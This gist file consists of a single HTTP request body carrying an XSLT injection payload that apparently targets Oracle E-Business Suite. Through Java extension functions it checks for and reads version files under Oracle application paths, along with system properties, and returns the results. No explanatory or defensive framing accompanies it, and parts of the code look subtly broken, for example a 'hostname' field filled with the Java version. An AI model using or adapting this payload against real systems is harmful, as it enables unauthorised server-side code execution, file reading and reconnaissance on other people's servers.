gistfile1.txt

xsl=<xsl:stylesheet version="1.0"
                      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                      xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String"
                      xmlns:file="http://www.oracle.com/XSL/Transform/java/java.io.File"
                      xmlns:reader="http://www.oracle.com/XSL/Transform/java/java.io.FileReader"
                      xmlns:buf="http://www.oracle.com/XSL/Transform/java/java.io.BufferedReader">
            <xsl:template match="/">
                <xsl:variable name="versionFile" select="file:new('/u01/app/oracle/apps/12.2.0/version.txt')"/>
                <xsl:variable name="versionFile2" select="file:new('/u01/app/oracle/apps/12.1.0/version.txt')"/>
                <xsl:variable name="versionFile3" select="file:new('/u01/app/oracle/apps/12.0.0/version.txt')"/>
                <xsl:variable name="manifestFile" select="file:new('/u01/app/oracle/apps/12.2.0/oa_web/html/WEB-INF/lib/oa_web.jar')"/>
                
                <result>
                    <hostname><xsl:value-of select="system-property('java.version')"/></hostname>
                    <timestamp><xsl:value-of select="system-property('user.timezone')"/></timestamp>
                    <version_info>
                        <xsl:choose>
                            <xsl:when test="file:exists($versionFile)">
                                <file_path>/u01/app/oracle/apps/12.2.0/version.txt</file_path>
                                <content><xsl:value-of select="str:new(reader:new($versionFile))"/></content>
                            </xsl:when>
                            <xsl:when test="file:exists($versionFile2)">
                                <file_path>/u01/app/oracle/apps/12.1.0/version.txt</file_path>
                                <content><xsl:value-of select="str:new(reader:new($versionFile2))"/></content>
                            </xsl:when>
                            <xsl:when test="file:exists($versionFile3)">
                                <file_path>/u01/app/oracle/apps/12.0.0/version.txt</file_path>
                                <content><xsl:value-of select="str:new(reader:new($versionFile3))"/></content>
                            </xsl:when>
                            <xsl:otherwise>
                                <file_path>No standard version file found</file_path>
                                <content>Checking alternative locations...</content>
                            </xsl:otherwise>
                        </xsl:choose>
                    </version_info>
                </result>
            </xsl:template>
        </xsl:stylesheet>&xml=<root/>